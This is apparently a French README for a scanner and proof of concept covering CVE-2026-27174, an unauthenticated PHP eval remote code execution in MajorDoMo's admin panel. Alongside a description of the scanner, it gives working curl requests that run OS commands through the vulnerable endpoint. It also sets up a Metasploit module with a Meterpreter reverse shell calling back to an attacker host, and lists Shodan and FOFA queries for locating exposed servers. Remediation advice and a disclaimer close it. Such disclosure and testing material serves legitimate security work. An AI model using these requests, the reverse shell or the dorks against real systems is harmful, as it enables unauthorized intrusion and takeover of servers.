
CVE-2026-27174 - Une exécution de code à distance non authentifiée via la fonctionnalité console PHP du panneau d'administration.
Une preuve de concept exploitant une exécution de code à distance non authentifiée via la fonctionnalité de console PHP du panneau d'administration de MajorDomo (Major Domestic Module).
Le panneau d'administration de MajorDoMo expose une console d'évaluation PHP via /admin.php. En raison d'une absence de sortie après une redirection d'authentification dans panel.class.php, le gestionnaire AJAX inc_panel_ajax.php est inclus inconditionnellement — rendant son eval() accessible à toute requête HTTP non authentifiée.
Un attaquant peut exécuter du code PHP arbitraire avec une simple requête GET, sans nécessiter d'identifiants, d'accès préalable ni d'interaction de la victime.
scan.py est un scanner multi-thread non destructif qui détecte les hôtes vulnérables à la CVE-2026-27174 sans exécuter de charge utile malveillante.
Le scanner opère en trois phases séquentielles par cible :
Phase 1 — RCE Confirmation
└─ Sends: echo 'random_marker';
└─ Checks: marker is reflected in the response body
└─ Confirms: eval() is reachable without authentication
Phase 2 — PHP Sandbox Profiling
└─ Sends: echo 'marker:' . ini_get('disable_functions');
└─ Extracts: list of disabled PHP functions on the server
Phase 3 — OS Execution Surface
└─ Probes: system, exec, shell_exec, passthru via function_exists()
└─ Classifies: impact level as HIGH or MEDIUM
Un marqueur alphanumérique aléatoire est généré pour chaque requête afin d'éviter les faux positifs dus à la mise en cache, aux WAF ou à la pollution des réponses.
pip install requests
Créez un fichier targets.txt avec une ligne IP:PORT par cible :
192.168.1.10:8080
10.0.0.5:80
10.0.0.12:443
# lines starting with # are ignored
# only IP:PORT format is accepted
python3 scan.py targets.txt
[+] RCE PHP CONFIRMED -> http://192.168.1.10:8080/admin.php
[-] Not vulnerable -> 10.0.0.5:80
[+] Vulnerable targets exported to results.json
results.jsonGénéré automatiquement lorsqu'au moins un hôte vulnérable est trouvé :
[
{
"target": "192.168.1.10:8080",
"url": "http://192.168.1.10:8080/admin.php",
"rce_php": true,
"disable_functions": "popen,pclose,proc_open",
"system_functions_available": ["system", "exec"],
"impact_level": "HIGH"
}
]
En fonction du résultat du champ system_functions_available dans le fichier result.json, nous pouvons élaborer une requête GET utilisant la ou les fonctions système pour exploiter la RCE :
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+exec('id');
#or
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+system('id');
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Module Metasploit :
msfconsole
use exploit/multi/http/majordomo_console_eval_rce
set RHOSTS 192.168.1.10
set RPORT 8080
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 172.17.0.1
check #Verify it returns Vulnerable
run #Verify a Meterpreter session opens as www-data
FOFA:
title="MajorDomoSL"
SHODAN:
http.title:"MajorDomoSL"
Un attaquant distant non authentifié peut :
L'impact réel dépend de la configuration PHP disable_functions du serveur :
CVSS 4.0 - 9.3 CRITIQUE — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1 - 9.8 CRITIQUE — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Mettez à jour vers la dernière version de MajorDomo (Major Domestic Module).
| Contrôle | Empêche la RCE | Empêche l'exécution OS |
|---|
https://chocapikk.com/posts/2026/majordomo-revisited
https://nvd.nist.gov/vuln/detail/CVE-2026-27174
https://github.com/sergejey/majordomo/pull/1177
Cet outil est réservé aux tests de sécurité autorisés. L'accès non autorisé à des systèmes informatiques est illégal.
| Champ | Description |
|---|
target | IP:PORT scanné |
url | URL complète où la RCE a été confirmée |
rce_php | Exécution de code PHP confirmée (toujours true dans les résultats) |
disable_functions | Paramètre PHP disable_functions du serveur (null s'il est vide) |
system_functions_available | Fonctions d'exécution OS appelables par un attaquant |
impact_level | HIGH (exécution OS accessible) ou MEDIUM (RCE PHP uniquement) |
| Scénario | Niveau d'impact | Description |
|---|
Aucun disable_functions | CRITIQUE | Exécution complète de commandes OS |
| Restrictions partielles | ÉLEVÉ | RCE PHP + exécution OS partielle |
disable_functions bloque toute exécution | MOYEN | RCE PHP uniquement (lecture/écriture de fichiers, exfiltration de données) |
| Appliquer le correctif du 18 févr. 2026 | ✅ | ✅ |
Pare-feu / liste blanche IP sur /admin.php | ✅ | ✅ |
Durcissement de disable_functions | ❌ | ✅ |